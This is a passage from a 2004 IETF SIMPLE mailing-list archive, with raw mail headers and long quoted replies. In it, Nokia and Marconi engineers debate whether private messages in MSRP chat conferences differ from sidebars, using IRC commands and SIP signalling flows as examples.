> >>>>>>>that has what I think is a close approximation of both 
> >>>
> >>>sidebar and
> >>>
> >>>>>>>private message functionality. (BTW, I feel strongly 
> >>>
> >>>that if MSRP
> >>>
> >>>>>>>conferences aren't as feature rich as IRC is, and provide the 
> >>>>>>>same user
> >>>>>>>experience, we've failed miserably.)
> >>>>>>>
> >>>>>>>Channels in IRC have identities, e.g., #helsinki, and 
> >>>>>>>participant lists
> >>>>>>>that are delivered in a very similar manner that the 
> >>>>
> >>>>conference-info
> >>>>
> >>>>>>>events would be delivered. Users join these channels 
> >>>>
> >>>>using JOIN, at
> >>>>
> >>>>>>>which time they get the participant list, and after that, 
> >>>>>>>updates e.g.,
> >>>>>>>whenever anyone leaves or joins the channel.
> >>>>>>>
> >>>>>>>Users can send private messages to the other participants in 
> >>>>>>>the channel:
> >>>>>>>
> >>>>>>>	PRIVMSG foobar :Some nick you got there foobar!
> >>>>>>>
> >>>>>>>Usually, these messages are displayed in the same pane as 
> >>>>>
> >>>>>the rest of
> >>>>>
> >>>>>>>the channel's messages, including information about the 
> >>>
> >>>sender but
> >>>
> >>>>>>>marked accordingly as private.
> >>>>>>>
> >>>>>>>A user can also invite others to a sidebar of sorts, that 
> >>>>
> >>>>is, a new
> >>>>
> >>>>>>>channel, whose properties can be set such that it can 
> >>>
> >>>be joined by
> >>>
> >>>>>>>invitation only.
> >>>>>>>
> >>>>>>>	INVITE FunnyNick #my_channel
> >>>>>>>	INVITE BeerLover #my_channel
> >>>>>>>	INVITE ROOLZ #my_channel
> >>>>>>>
> >>>>>>>Joining this new channel as a result of an invitation 
> >>>
> >>>(with JOIN)
> >>>
> >>>>>>>usually results in a new window, moving the focus of 
> >>>>>
> >>>>>conversation away
> >>>>>
> >>>>>>>from the original channel, but still maintaining the 
> >>>>>
> >>>>>original channel'
> >>>>>
> >>>>>>>and its messages active in the background.
> >>>>>>>
> >>>>>>>The users may again send messages either to the entire 
> >>>>>>>channel (MSG), or
> >>>>>>>to only one participant (PRIVMSG). A recipient of an 
> >>
> >>INVITE will
> >>
> >>>>>>>generally make a choice just like in a SIP invitation whether 
> >>>>>>>or not to
> >>>>>>>join the sidebar or not. Receiving a PRIVMSG requires no 
> >>>>>
> >>>>>actions from
> >>>>>
> >>>>>>>the recipient. Indeed, it might even go unnoticed.
> >>>>>>>
> >>>>>>>Taking this into account, I fail to see how sidebars alone 
> >>>>>
> >>>>>can be made
> >>>>>
> >>>>>>>to work in providing similar functionality in MSRP 
> >>>>>
> >>>>>conferences. Either
> >>>>>
> >>>>>>>sidears or private messages alone won't result in the 
> >>>>
> >>>>same level of
> >>>>
> >>>>>>>functionality.
> >>>>>>>
> >>>>>>>Wrapping all private conversation inside a sidebar is 
> >>
> >>incredibly
> >>
> >>>>>>>inefficient and results in bad user experience, since there 
> >>>>>>>is no way to
> >>>>>>>distinguish a REFER that is to a sidebar whose sole purpose 
> >>>>>>>is to send a
> >>>>>>>single private message to the user or have a real ad-hoc 
> >>>>>
> >>>>>conversation
> >>>>>
> >>>>>>>posibly consisting of a real exchange of messages. In fact, 
> >>>>>
> >>>>>this would
> >>>>>
> >>>>>>>require 4 rounds of singalling (not including sidebar 
> >>>
> >>>creation and
> >>>
> >>>>>>>tear-down), plus user interaction in between:
> >>>>>>>
> >>>>>>>REFER (to sidebar)
> >>>>>>>200 OK
> >>>>>>>
> >>>>>>>-Query/inform user whether wants to join-
> >>>>>>>
> >>>>>>>INVITE (to sidebar)
> >>>>>>>200 OK
> >>>>>>>ACK
> >>>>>>>
> >>>>>>>(Note: would probably also require subscription to 
> >>>>
> >>>>conference-info,
> >>>>
> >>>>>>>because one would be interested to whom they are sending 
> >>>>
> >>>>the private
> >>>>
> >>>>>>>messages...)
> >>>>>>>
> >>>>>>>MSRP SEND
> >>>>>>>MSRP OK
> >>>>>>>
> >>>>>>>BYE
> >>>>>>>200 OK
> >>>>>>>
> >>>>>>>...as opposed to a single round of messages:
> >>>>>>>
> >>>>>>>MSRP SEND (private)
> >>>>>>>200 OK
> >>>>>>>
> >>>>>>>(Note that enabling auto-answering wrt the REFER would in the 
> >>>>>>>worst case
> >>>>>>>result in a sidebar bombardment, or having a user be 
> >>>>
> >>>>moved over to a
> >>>>
> >>>>>>>sidebar in the middle of, say, message composition.)
> >>>>>>>
> >>>>>>>The same level of functionality would also not be met with 
> >>>>>
> >>>>>only using
> >>>>>
> >>>>>>>private messages. AFAIK, the purpose of a sidebar is to 
> >>>>>
> >>>>>move the focus
> >>>>>
> >>>>>>>of the conversation temporarily outside the original 
> >>>>>
> >>>>>conference. This
> >>>>>
> >>>>>>>requires being able to wrap a discussion into a separate 
> >>>>>>>context. A very
> >>>>>>>important aspect of this is to let the user decide whether to 
> >>>>>>>joing such
> >>>>>>>a sidebar, and when to join it. Determining to which context a
> >>>>>>>particular received private message belongs to can in this 
> >>>>>>>case only be
> >>>>>>>done in the recipients head - there are no protocol 
> >>>>>
> >>>>>elements to help.
> >>>>>
> >>>>>>>As a conclusion, I don't see how sidebars alone can provide 
> >>>>>>>the required
> >>>>>>>functionality.
> >>>>>>>
> >>>>>>>
> >>>>>>>
> >>>>>>>>So, the question is, do we see the perceived efficiency 
> >>>>>>>
> >>>>>>>improvements 
> >>>>>>>
> >>>>>>>
> >>>>>>>>of a pager-mode sidebar as being sufficiently good to 
> >>>
> >>>allow for 
> >>>
> >>>>>>>>defining a separate sidebar mechanism for it?
> >>>>>>>
> >>>>>>>It is also about user interaction. When a user receives an 
> >>>>>>>INVITE for an
> >>>>>>>MSRP session, it can make a choice just like in a voice 
> >>>>
> >>>>call between
> >>>>
> >>>>>>>accepting the call or rejecting it. Page mode doesn't 
> >>>>
> >>>>provide that 
> >>>>
> >>>>>>>functionality.
> >>>>>>>
> >>>>>>>Cheers,
> >>>>>>>Aki
> >>>>>>>
> >>>>>>>
> >>>>>>>
> >>>>>>>>-Jonathan R.
> >>>>>>>
> >>>>>_______________________________________________
> >>>>>Simple mailing list
> >>>>>Simple@ietf.org
> >>>>>https://www1.ietf.org/mailman/listinfo/simple
> >>>>>
> >>>>
> > 
> 
> -- 
> Miguel A. Garcia           tel:+358-50-4804586
> Nokia Research Center      Helsinki, Finland
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 23:40:47 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA00143
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 23:40:47 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay1ha-0000E4-Oa
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 23:40:19 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i224eIZq000672
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 23:40:18 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay1hZ-00005a-Au
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 23:40:17 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA00108
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 23:40:14 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay1hX-0000RQ-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 23:40:15 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay1gc-0000JO-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 23:39:19 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay1ff-0000Bc-00; Mon, 01 Mar 2004 23:38:19 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay1fO-0007ga-HK; Mon, 01 Mar 2004 23:38:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay1eZ-0007Uy-5S
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 23:37:11 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA29956
	for <simple@ietf.org>; Mon, 1 Mar 2004 23:37:08 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay1eX-00001l-00
	for simple@ietf.org; Mon, 01 Mar 2004 23:37:09 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay1da-0007gi-00
	for simple@ietf.org; Mon, 01 Mar 2004 23:36:11 -0500
Received: from mailgate.pit.comms.marconi.com ([169.144.68.6])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay1cb-0007Sb-00
	for simple@ietf.org; Mon, 01 Mar 2004 23:35:09 -0500
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.12.10+Sun/8.12.10) with ESMTP id i224YPaZ028755;
	Mon, 1 Mar 2004 23:34:25 -0500 (EST)
Received: from uspitsmsgrtr01.pit.comms.marconi.com (uspitsmsgrtr01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id XAA04992;
	Mon, 1 Mar 2004 23:34:25 -0500 (EST)
Received: by uspitsmsgrtr01.pit.comms.marconi.com with Internet Mail Service (5.5.2653.19)
	id <GDP2Y74T>; Mon, 1 Mar 2004 23:34:24 -0500
Message-ID: <313680C9A886D511A06000204840E1CF070B6487@whq-msgusr-02.pit.comms.marconi.com>
From: "Rosen, Brian" <Brian.Rosen@marconi.com>
To: "'Miguel Garcia'" <Miguel.An.Garcia@nokia.com>,
        "Isomaki Markus (Nokia-NRC/Helsinki)" <Markus.Isomaki@nokia.com>
Cc: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>, jdrosen@dynamicsoft.com,
        pkyzivat@cisco.com,
        "Khartabil Hisham (Nokia-TP-MSW/Helsinki)" <hisham.khartabil@nokia.com>,
        simple@ietf.org
Subject: RE: [Simple] Chat sessions
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 1 Mar 2004 23:34:15 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

Doesn't work for me; you don't need a resource URI for a sidebar.  You might
be
able to use one, but its not necessary.  The only characteristic of a
sidebar
that matters is that the media goes to a subset of participants.

You need some identifier in all cases.  

Let me push this in another direction.

What makes a private message different from an instant message to a totally
arbitrary person (not related to the main conference)?  Is it just that the
set of possible destinations is limited to those in the main conference?
Why is that interesting in a protocol sense?

Brian

> -----Original Message-----
> From: Miguel Garcia [mailto:Miguel.An.Garcia@nokia.com]
> Sent: Monday, March 01, 2004 9:29 PM
> To: Isomaki Markus (Nokia-NRC/Helsinki)
> Cc: ext Rosen, Brian; Niemi Aki (Nokia-M/Espoo);
> jdrosen@dynamicsoft.com; pkyzivat@cisco.com; Khartabil Hisham
> (Nokia-TP-MSW/Helsinki); simple@ietf.org
> Subject: Re: [Simple] Chat sessions
> 
> 
> Folks, what about this one:
> 
> A sidebar conference is a temporary scoped subconference. By 
> temporary 
> scoped I mean it exists  (has an associated resource URI) for some 
> duration time. The participants may or may not be part of the main 
> conference. Messages are addressed to the sidebar conference, in a 
> similar way a message is addressed to the conference. The 
> sender may or 
> may not know who are the members of the sidebar conference.
> 
> A private message is not temporary scoped and it is not 
> identified by a 
> resource URI. Unlike sidebar conferences, the participants 
> are a subset 
> of the conference. Unlike sidebar conferences, private messages are 
> addressed to each of the receivers, since there is not a resource 
> associated with it. The sender has to explicitly define the 
> receivers of 
> the message.
> 
> Miguel
> 
> Isomaki Markus (Nokia-NRC/Helsinki) wrote:
> 
> > Hi,
> > 
> > I don't see us getting to agreement here... Still, see below:
> > 
> > 
> >>-----Original Message-----
> >>From: ext Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> >>Sent: 02 March, 2004 03:35
> >>To: Isomaki Markus (Nokia-NRC/Helsinki); Niemi Aki (Nokia-M/Espoo)
> >>Cc: jdrosen@dynamicsoft.com; pkyzivat@cisco.com; Khartabil Hisham
> >>(Nokia-TP-MSW/Helsinki); Garcia Miguel.An (Nokia-NRC/Helsinki);
> >>simple@ietf.org
> >>Subject: RE: [Simple] Chat sessions
> >>
> >>
> >>What is the difference between a sidebar and a private message?
> >>
> >>I think the ONLY difference is the number of people involved.
> >>
> >>A sidebar is two or more.  A private message is exactly two.
> >>
> > 
> > 
> > I don't think we need to limit the number of recipients for 
> the private message. The only thing is that they need to be 
> conference participants.
> > 
> > 
> >>There is NO other meaningful difference.
> >>
> >>Your argument on overhead is directly comparable to the argument
> >>we went through when we defined sidebars as separate sessions.
> >>I argued that we should NOT create a separate session, but
> >>simply alter the media policy appropriately.  You are simply
> >>repeating the arguments I made.
> >>
> >>I lost that argument.  
> >>
> > 
> > 
> > My comment to that is that there are differences in medias 
> that should be taken into account. As you see in the example 
> I made, having only one solution leads to hugely unoptimal system. 
> > 
> > 
> >>Brian
> >>
> >>
> >>>-----Original Message-----
> >>>From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
> >>>Sent: Monday, March 01, 2004 8:16 PM
> >>>To: Brian.Rosen@marconi.com; aki.niemi@nokia.com
> >>>Cc: jdrosen@dynamicsoft.com; pkyzivat@cisco.com;
> >>>hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com; 
> >>>simple@ietf.org
> >>>Subject: RE: [Simple] Chat sessions
> >>>
> >>>
> >>>Hi,
> >>>
> >>>It seems we are not getting the message through ;)
> >>>
> >>>Let's see how sending a private message looks like as a 
> >>>sidebar vs. as proposed in the current draft. The case is 
> >>>this: Users A and B participate in the same conference, A 
> >>>wants to send a private message to B.
> >>>
> >>>Sidebar case would be roughly like this:
> >>>1. A creates a conference for a sidebar using INVITE
> >>>   - new MSRP session is established between A and the new 
> >>>focus instance
> >>>2. A refers B to that conference
> >>>3. B joins the conference
> >>>   - new MSRP session is established
> >>>4. A sends MSRP SEND request to the conference
> >>>5. focus forwards it to B
> >>>6. A sends BYE
> >>>7. focus sends BYE to B
> >>>
> >>>If B replies after 10 seconds, the whole process is followed 
> >>>again from 1 to 7.
> >>>
> >>>Private message case:
> >>>1. A sends private message targeted to B over an existing 
> >>
> >>MSRP session
> >>
> >>>2. focus forwards it to B
> >>>
> >>>So which solution would you like to adopt? 
> >>>
> >>>Markus
> >>>
> >>>
> >>>
> >>>>-----Original Message-----
> >>>>From: ext Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> >>>>Sent: 01 March, 2004 12:41
> >>>>To: Niemi Aki (Nokia-M/Espoo)
> >>>>Cc: ext Jonathan Rosenberg; Isomaki Markus (Nokia-NRC/Helsinki);
> >>>>pkyzivat@cisco.com; Khartabil Hisham 
> >>
> >>(Nokia-TP-MSW/Helsinki); Garcia
> >>
> >>>>Miguel.An (Nokia-NRC/Helsinki); simple@ietf.org
> >>>>Subject: RE: [Simple] Chat sessions
> >>>>
> >>>>
> >>>>Aki
> >>>>
> >>>>My post was meant to point out that we had decided to 
> >>>>implement sidebars
> >>>>as separate dialogs from main conferences, which is similar 
> >>>
> >>>to making
> >>>
> >>>>"private messages" separate dialogs from a main IM 
> >>
> >>dialog.  In that
> >>
> >>>>way, I think that sidebars and private messages are the 
> >>>
> >>>same; they are
> >>>
> >>>>media sent to a subset of participants in the group.  If there
> >>>>is a reason to allow a special way to subset destinations for a
> >>>>private message rather than the entire chat group, then whatever
> >>>>argument you make would apply to a sidebar.  
> >>>>
> >>>>Brian
> >>>>
> >>>>
> >>>>>-----Original Message-----
> >>>>>From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> >>>>>Sent: Monday, March 01, 2004 2:58 AM
> >>>>>To: ext Rosen, Brian
> >>>>>Cc: ext Jonathan Rosenberg; Markus.Isomaki@nokia.com;
> >>>>>pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> >>>>>Miguel.An.Garcia@nokia.com; simple@ietf.org
> >>>>>Subject: Re: [Simple] Chat sessions
> >>>>>
> >>>>>
> >>>>>Brian,
> >>>>>
> >>>>>I've never argued for private messages over sidebars. I still 
> >>>>>maintain 
> >>>>>that sidebars and private messages are different and 
> >>>>
> >>>>*complimentary* 
> >>>>
> >>>>>features, and that we need *both* to have a complete 
> >>>>
> >>>>solution for IM 
> >>>>
> >>>>>conferences.
> >>>>>
> >>>>>Cheers,
> >>>>>Aki
> >>>>>
> >>>>>ext Rosen, Brian wrote:
> >>>>>
> >>>>>>Aki
> >>>>>>
> >>>>>>When we were discussing sidebars, I made arguments like 
> >>>>>
> >>>>>this against making
> >>>>>
> >>>>>>a sidebar
> >>>>>>a separate session.  Sidebars, I argued, are just media 
> >>>>>
> >>>>>(mixing) changes,
> >>>>>
> >>>>>>they have
> >>>>>>nothing to do with session management.
> >>>>>>
> >>>>>>I lost this argument, and I will be very unhappy if IM 
> >>>>>
> >>>>>works differently.
> >>>>>
> >>>>>>One of
> >>>>>>the reasons I lost it was the observation that a sidebar 
> >>>>>
> >>>>>could include
> >>>>>
> >>>>>>participants
> >>>>>>who are not main conference participants.  I think you have 
> >>>>>
> >>>>>the same issue
> >>>>>
> >>>>>>here.
> >>>>>>
> >>>>>>Brian
> >>>>>>
> >>>>>>
> >>>>>>
> >>>>>>>-----Original Message-----
> >>>>>>>From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> >>>>>>>Sent: Sunday, February 29, 2004 12:40 PM
> >>>>>>>To: ext Jonathan Rosenberg
> >>>>>>>Cc: Markus.Isomaki@nokia.com; Brian.Rosen@marconi.com;
> >>>>>>>pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> >>>>>>>Miguel.An.Garcia@nokia.com; simple@ietf.org
> >>>>>>>Subject: Re: [Simple] Chat sessions
> >>>>>>>
> >>>>>>>
> >>>>>>>
> >>>>>>>
> >>>>>>>ext Jonathan Rosenberg wrote:
> >>>>>>><snip />
> >>>>>>>
> >>>>>>>>>3. As Aki explained, sidebars and private IMs within a 
> >>>>
> >>>>conference 
> >>>>
> >>>>>>>>>are two different things. Sidebars are subconferences, 
> >>>>>
> >>>>>that include
> >>>>>
> >>>>>>>>>a certain subset of the participants in the main 
> >>>>>
> >>>>>conference. They 
> >>>>>
> >>>>>>>>>need to be explicitly created and deleted. Private 
> >>>
> >>>IMs within a 
> >>>
> >>>>>>>>>conference are also targeted to a subset of the conference 
> >>>>>>>>>participants. But there is no need to setup a sidebar or 
> >>>>>
> >>>>>any other 
> >>>>>
> >>>>>>>>>additional context to send them. The recipients can 
> >>
> >>simply be 
> >>
> >>>>>>>>>signaled within each message (as proposed by using CPIM 
> >>>>>
> >>>>>To header).
> >>>>>
> >>>>>>>>>This seems to be a specific property of IM, as 
> >>
> >>this sort of 
> >>
> >>>>>>>>>addressing would be impossible e.g. in RTP. In 
> >>
> >>theory priate 
> >>
> >>>>>>>>>messaging facility could be supported by sidebars, but in 
> >>>>>
> >>>>>this case
> >>>>>
> >>>>>>>>>the focus would need to have as many sidebars constantly 
> >>>>>
> >>>>>setup, as
> >>>>>
> >>>>>>>>>there are different possible participant subset 
> >>>>>
> >>>>>combinations. Way 
> >>>>>
> >>>>>>>>>too complex and not needed.
> >>>>>>>>
> >>>>>>>>
> >>>>>>>>I dont think that, functionally, what you are describing is 
> >>>>>>>
> >>>>>>>different
> >>>>>>>
> >>>>>>>
> >>>>>>>>from a sidebar. What differs is that the specifics of 
> >>>>
> >>>>this media 
> >>>>
> >>>>>>>>type allow for a more efficient implementation of the 
> >>>>
> >>>>sidebar than 
> >>>>
> >>>>>>>>would be possible for another media type, such as audio. 
> >>>>>>>
> >>>>>>>Indeed, the 
> >>>>>>>
> >>>>>>>
> >>>>>>>>same is true for IM in general - why set up a session (ala 
> >>>>>>>
> >>>>>>>msrp) when
> >>>>>>>
> >>>>>>>
> >>>>>>>>you can just send a pager mode?
> >>>>>>>
> >>>>>>>The ultimate proof of difference in functionality is 
> >>>
> >>>that private
> >>>
> >>>>>>>messages are usable and useful in a sidebar - in fact 
> >>>
> >>>it makes no
> >>>
> >>>>>>>difference whether they're sent within the context of a 
> >>>>>
> >>>>>conference, a
> >>>>>
> >>>>>>>conference sidebar, or a sidebar of a conference sidebar.
> >>>>>>>
> >>>>>>>Let me provide a concrete example of an already existing 
> >>>>>
> >>>>>service (IRC)
> >>>>>
> >>>>>>>that has what I think is a close approximation of both 
> >>>
> >>>sidebar and
> >>>
> >>>>>>>private message functionality. (BTW, I feel strongly 
> >>>
> >>>that if MSRP
> >>>
> >>>>>>>conferences aren't as feature rich as IRC is, and provide the 
> >>>>>>>same user
> >>>>>>>experience, we've failed miserably.)
> >>>>>>>
> >>>>>>>Channels in IRC have identities, e.g., #helsinki, and 
> >>>>>>>participant lists
> >>>>>>>that are delivered in a very similar manner that the 
> >>>>
> >>>>conference-info
> >>>>
> >>>>>>>events would be delivered. Users join these channels 
> >>>>
> >>>>using JOIN, at
> >>>>
> >>>>>>>which time they get the participant list, and after that, 
> >>>>>>>updates e.g.,
> >>>>>>>whenever anyone leaves or joins the channel.
> >>>>>>>
> >>>>>>>Users can send private messages to the other participants in 
> >>>>>>>the channel:
> >>>>>>>
> >>>>>>>	PRIVMSG foobar :Some nick you got there foobar!
> >>>>>>>
> >>>>>>>Usually, these messages are displayed in the same pane as 
> >>>>>
> >>>>>the rest of
> >>>>>
> >>>>>>>the channel's messages, including information about the 
> >>>
> >>>sender but
> >>>
> >>>>>>>marked accordingly as private.
> >>>>>>>
> >>>>>>>A user can also invite others to a sidebar of sorts, that 
> >>>>
> >>>>is, a new
> >>>>
> >>>>>>>channel, whose properties can be set such that it can 
> >>>
> >>>be joined by
> >>>
> >>>>>>>invitation only.
> >>>>>>>
> >>>>>>>	INVITE FunnyNick #my_channel
> >>>>>>>	INVITE BeerLover #my_channel
> >>>>>>>	INVITE ROOLZ #my_channel
> >>>>>>>
> >>>>>>>Joining this new channel as a result of an invitation 
> >>>
> >>>(with JOIN)
> >>>
> >>>>>>>usually results in a new window, moving the focus of 
> >>>>>
> >>>>>conversation away
> >>>>>
> >>>>>>>from the original channel, but still maintaining the 
> >>>>>
> >>>>>original channel'
> >>>>>
> >>>>>>>and its messages active in the background.
> >>>>>>>
> >>>>>>>The users may again send messages either to the entire 
> >>>>>>>channel (MSG), or
> >>>>>>>to only one participant (PRIVMSG). A recipient of an 
> >>
> >>INVITE will
> >>
> >>>>>>>generally make a choice just like in a SIP invitation whether 
> >>>>>>>or not to
> >>>>>>>join the sidebar or not. Receiving a PRIVMSG requires no 
> >>>>>
> >>>>>actions from
> >>>>>
> >>>>>>>the recipient. Indeed, it might even go unnoticed.
> >>>>>>>
> >>>>>>>Taking this into account, I fail to see how sidebars alone 
> >>>>>
> >>>>>can be made
> >>>>>
> >>>>>>>to work in providing similar functionality in MSRP 
> >>>>>
> >>>>>conferences. Either
> >>>>>
> >>>>>>>sidears or private messages alone won't result in the 
> >>>>
> >>>>same level of
> >>>>
> >>>>>>>functionality.
> >>>>>>>
> >>>>>>>Wrapping all private conversation inside a sidebar is 
> >>
> >>incredibly
> >>
> >>>>>>>inefficient and results in bad user experience, since there 
> >>>>>>>is no way to
> >>>>>>>distinguish a REFER that is to a sidebar whose sole purpose 
> >>>>>>>is to send a
> >>>>>>>single private message to the user or have a real ad-hoc 
> >>>>>
> >>>>>conversation
> >>>>>
> >>>>>>>posibly consisting of a real exchange of messages. In fact, 
> >>>>>
> >>>>>this would
> >>>>>
> >>>>>>>require 4 rounds of singalling (not including sidebar 
> >>>
> >>>creation and
> >>>
> >>>>>>>tear-down), plus user interaction in between:
> >>>>>>>
> >>>>>>>REFER (to sidebar)
> >>>>>>>200 OK
> >>>>>>>
> >>>>>>>-Query/inform user whether wants to join-
> >>>>>>>
> >>>>>>>INVITE (to sidebar)
> >>>>>>>200 OK
> >>>>>>>ACK
> >>>>>>>
> >>>>>>>(Note: would probably also require subscription to 
> >>>>
> >>>>conference-info,
> >>>>
> >>>>>>>because one would be interested to whom they are sending 
> >>>>
> >>>>the private
> >>>>
> >>>>>>>messages...)
> >>>>>>>
> >>>>>>>MSRP SEND
> >>>>>>>MSRP OK
> >>>>>>>
> >>>>>>>BYE
> >>>>>>>200 OK
> >>>>>>>
> >>>>>>>...as opposed to a single round of messages:
> >>>>>>>
> >>>>>>>MSRP SEND (private)
> >>>>>>>200 OK
> >>>>>>>
> >>>>>>>(Note that enabling auto-answering wrt the REFER would in the 
> >>>>>>>worst case
> >>>>>>>result in a sidebar bombardment, or having a user be 
> >>>>
> >>>>moved over to a
> >>>>
> >>>>>>>sidebar in the middle of, say, message composition.)
> >>>>>>>
> >>>>>>>The same level of functionality would also not be met with 
> >>>>>
> >>>>>only using
> >>>>>
> >>>>>>>private messages. AFAIK, the purpose of a sidebar is to 
> >>>>>
> >>>>>move the focus
> >>>>>
> >>>>>>>of the conversation temporarily outside the original 
> >>>>>
> >>>>>conference. This
> >>>>>
> >>>>>>>requires being able to wrap a discussion into a separate 
> >>>>>>>context. A very
> >>>>>>>important aspect of this is to let the user decide whether to 
> >>>>>>>joing such
> >>>>>>>a sidebar, and when to join it. Determining to which context a
> >>>>>>>particular received private message belongs to can in this 
> >>>>>>>case only be
> >>>>>>>done in the recipients head - there are no protocol 
> >>>>>
> >>>>>elements to help.
> >>>>>
> >>>>>>>As a conclusion, I don't see how sidebars alone can provide 
> >>>>>>>the required
> >>>>>>>functionality.
> >>>>>>>
> >>>>>>>
> >>>>>>>
> >>>>>>>>So, the question is, do we see the perceived efficiency 
> >>>>>>>
> >>>>>>>improvements 
> >>>>>>>
> >>>>>>>
> >>>>>>>>of a pager-mode sidebar as being sufficiently good to 
> >>>
> >>>allow for 
> >>>
> >>>>>>>>defining a separate sidebar mechanism for it?
> >>>>>>>
> >>>>>>>It is also about user interaction. When a user receives an 
> >>>>>>>INVITE for an
> >>>>>>>MSRP session, it can make a choice just like in a voice 
> >>>>
> >>>>call between
> >>>>
> >>>>>>>accepting the call or rejecting it. Page mode doesn't 
> >>>>
> >>>>provide that 
> >>>>
> >>>>>>>functionality.
> >>>>>>>
> >>>>>>>Cheers,
> >>>>>>>Aki
> >>>>>>>
> >>>>>>>
> >>>>>>>
> >>>>>>>>-Jonathan R.
> >>>>>>>
> >>>>>_______________________________________________
> >>>>>Simple mailing list
> >>>>>Simple@ietf.org
> >>>>>https://www1.ietf.org/mailman/listinfo/simple
> >>>>>
> >>>>
> > 
> 
> -- 
> Miguel A. Garcia           tel:+358-50-4804586
> Nokia Research Center      Helsinki, Finland
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 23:51:29 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA00824
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 23:51:29 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay1sQ-0001oF-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 23:51:30 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay1rQ-0001g7-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 23:50:30 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay1qT-0001Yl-00; Mon, 01 Mar 2004 23:49:29 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay1q0-0002je-WC; Mon, 01 Mar 2004 23:49:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay1pD-0002i3-PG
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 23:48:11 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA00618
